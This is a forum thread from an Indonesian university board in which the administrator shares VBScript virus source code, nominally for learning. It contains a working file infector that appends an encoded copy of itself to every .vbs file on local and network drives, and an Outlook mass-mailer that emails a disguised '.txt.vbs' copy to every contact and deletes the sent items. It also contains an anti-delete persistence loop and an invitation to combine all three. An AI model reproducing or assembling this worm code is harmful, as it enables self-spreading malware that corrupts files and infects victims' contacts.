UNKLAB FORUM

Forum Mahasiswa & Alumni Universitas Klabat
 
HomeSearchRegisterLog in
Bagi Guest atau user yang tidak terdaftar, mohon maaf karena ada beberapa thread tidak bisa diakses oleh guest, oleh karena itu, sebaiknya anda registrasi terlebih untuk bisa mengakses penuh forum ini. Baca dulu peraturan forum ini. Terima Kasih
Navigation
 Index
 Memberlist
 Profile
 FAQ
 Search
Search
 
 

Display results as :
 
Rechercher Advanced Search
Latest topics
» Lowongan Pekerjaan PT. PNM (Persero)
Source Code Virus .vbs I_icon_minitimeWed Nov 08, 2017 7:01 pm by CLiFF

» .NET Programming
Source Code Virus .vbs I_icon_minitimeTue Mar 15, 2011 6:49 pm by Marvin07

» Bagaimana Menginstal OS dari USB???
Source Code Virus .vbs I_icon_minitimeThu Feb 10, 2011 9:55 pm by unaitech

» Automatic Installation BackTrack 3 Final | Dual Booting
Source Code Virus .vbs I_icon_minitimeThu Feb 10, 2011 9:53 pm by unaitech

» simple hacking test
Source Code Virus .vbs I_icon_minitimeThu Feb 10, 2011 7:38 pm by and213

» [tutor] How To Patch SQL Injection Bug
Source Code Virus .vbs I_icon_minitimeThu Feb 10, 2011 9:52 am by unaitech

» what ur distro..?
Source Code Virus .vbs I_icon_minitimeThu Feb 10, 2011 9:48 am by unaitech

» netcut source-code
Source Code Virus .vbs I_icon_minitimeThu Feb 10, 2011 9:44 am by unaitech

» Ragnarok Online
Source Code Virus .vbs I_icon_minitimeMon Jan 31, 2011 1:57 pm by Marvin07

FRIENDS
Ads

    No ads available.



     

     Source Code Virus .vbs

    Go down 
    AuthorMessage
    CLiFF
    Administrator
    Administrator
    CLiFF

    Male Number of posts : 564
    Age : 33
    Location : Anywhere...
    Points : 10009
    Registration date : 2008-06-03

    Source Code Virus .vbs Empty
    PostSubject: Source Code Virus .vbs   Source Code Virus .vbs I_icon_minitimeTue Jul 29, 2008 10:25 am

    Nih ada beberapa SC virus pake .vbs

    Tujuannya buat pembelajaran saja, gw gak bertanggung jawab jika terjadi penyalahgunaan...

    Infeksi File Antar Visual Basic Script (.VBS)
    Code:

    On Error Resume Next
    Set MawarPutih = CreateObject("Scripting.FileSystemObject")
    Angel1()
    Sub Angel1()
    On Error Resume Next
    Set a = CreateObject("Scripting.FileSystemObject")
    For Each SalinMawarPutih In a.Drives
    If SalinMawarPutih.DriveType = 2 _
    Or SalinMawarPutih.DriveType = 3 Then
    Angel3 (SalinMawarPutih.Path & "\")
    End If
    Next
    End Sub
    Sub Angel2(FileTarget)
    On Error Resume Next
    Set otf = a.GetFile(WScript.ScriptFullName)
    ra = otf.ReadAll
    otf.Close
    Set a = CreateObject("Scripting.FileSystemObject")
    Set f = a.GetFolder(FileTarget)
    For Each n In f.Files
    FileExt = LCase(a.GetExtensionName(n.Path))
    If FileExt = "vbs" Or FileExt = "vbe" Then
    Set openvbs = a.OpenTextFile(n.Path, 1)
    vbsra = openvbs.ReadAll
    openvbs.Close
    If InStr(1, vbsra, "Tips And Trik  by ") = False Then
    Set MawarPutih = CreateObject("Scripting.FileSystemObject")
    Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)
    RantingMawarPutih = JC.ReadAll
    JC.Close
    Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)
    MawarMerah.WriteLine vbCrLf & "' Hack .VBS  by " & vbCrLf & "Tz = " & Chr(34) & Chr(34)
    For i = 1 To Len(RantingMawarPutih)
    Tz = Mid(RantingMawarPutih, i, 1)
    Tz = Hex(Asc(Tz))
    If Len(Tz) = 1 Then
    Tz = "0" & Tz
    End If
    Gz = Gz + Tz
    If Len(Gz) = 110 Then
    MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
    Gz = ""
    End If
    If Len(RantingMawarPutih) - i = 0 Then
    MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
    Gz = ""
    End If
    Next
    MawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")"
    MawarMerah.WriteLine "WriteAppend.Write CM(Tz)"
    MawarMerah.WriteLine "WriteAppend.Close"
    MawarMerah.WriteLine "Function CM(CN)"
    MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2"
    MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
    MawarMerah.WriteLine "Next"
    MawarMerah.WriteLine "End Function"
    MawarMerah.Close
    End If
    End If
    Next
    End Sub
    Sub Angel3(FileTarget)
    On Error Resume Next
    Set a = CreateObject("Scripting.FileSystemObject")
    Set f = a.GetFolder(FileTarget)
    For Each n In f.SubFolders
    Angel2 (n.Path)
    Angel3 (n.Path)
    Next
    End Sub


    penyebaran Melalui E-mail Via Outlook

    Code:

    On Error Resume Next

    Set MawarPutih = CreateObject("Scripting.FileSystemObject")
    Set MawarMerah = MawarPutih.GetFile(WScript.ScriptFullName)
    MawarMerah.Copy (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
    Set Attachments = MawarPutih.GetFile(MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
    Attachments.Attributes = 0
    Set RantingMawar = CreateObject("Outlook.Application")
    If Not RantingMawar = "" Then
    For Each DuriMawar In RantingMawar.GetNameSpace("MAPI").AddressLists
    For DaunMawar = 1 To DuriMawar.AddressEntries.Count
    Set BagianEmail = RantingMawar.CreateItem(0)
    BagianEmail.Recipients.Add (DuriMawar.AddressEntries(DaunMawar))
    BagianEmail.Subject = "Judul Pesan"
    BagianEmail.Body = "Isi Pesan"
    BagianEmail.Attachments.Add (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
    BagianEmail.DeleteAfterSubmit = True
    BagianEmail.Send
    Next
    Next
    End If


    Anti Delete

    Code:

    On Error Resume Next

    Set MawarPutih= Createobject("scripting.filesystemobject")
    Set MawarMerah= MawarPutih.opentextfile(wscript.scriptfullname, 1)
    BatangMawar= MawarMerah.readall
    MawarMerah.Close
    Do
    If Not (MawarPutih.fileexists(wscript.scriptfullname)) Then
    Set DuriMawar= MawarPutih.createtextfile(wscript.scriptfullname, True)
    DuriMawar.writeBatangMawar
    DuriMawar.Close
    End If
    Loop

    semua code diatas.. bisa kalian jadiin 1.. tinggal kreasinya aja...
    thx_to:Shadow Angel

    _________________
    Einstein said "The true definition of stupidity is to do the same thing time and again and expect a different outcome."

    Source Code Virus .vbs 130



    http://unklab.forum.st/
    Back to top Go down
    http://unklab.forum.st
    y0ng_en9el
    Pro
    Pro


    Male Number of posts : 919
    Age : 34
    Location : In your heart
    Points : 78
    Registration date : 2008-06-10

    Source Code Virus .vbs Empty
    PostSubject: Re: Source Code Virus .vbs   Source Code Virus .vbs I_icon_minitimeThu Aug 21, 2008 8:44 pm

    Weizz. Nice share Admin.
    Back to top Go down
    http://hikari-community.co.nr
     
    Source Code Virus .vbs
    Back to top 
    Page 1 of 1

    Permissions in this forum:You cannot reply to topics in this forum
    UNKLAB FORUM :: KLABAT UNIVERSITY :: Computer Science Faculty :: Computer Security :: Virus, Worm, Trojan, Etc.-
    Jump to: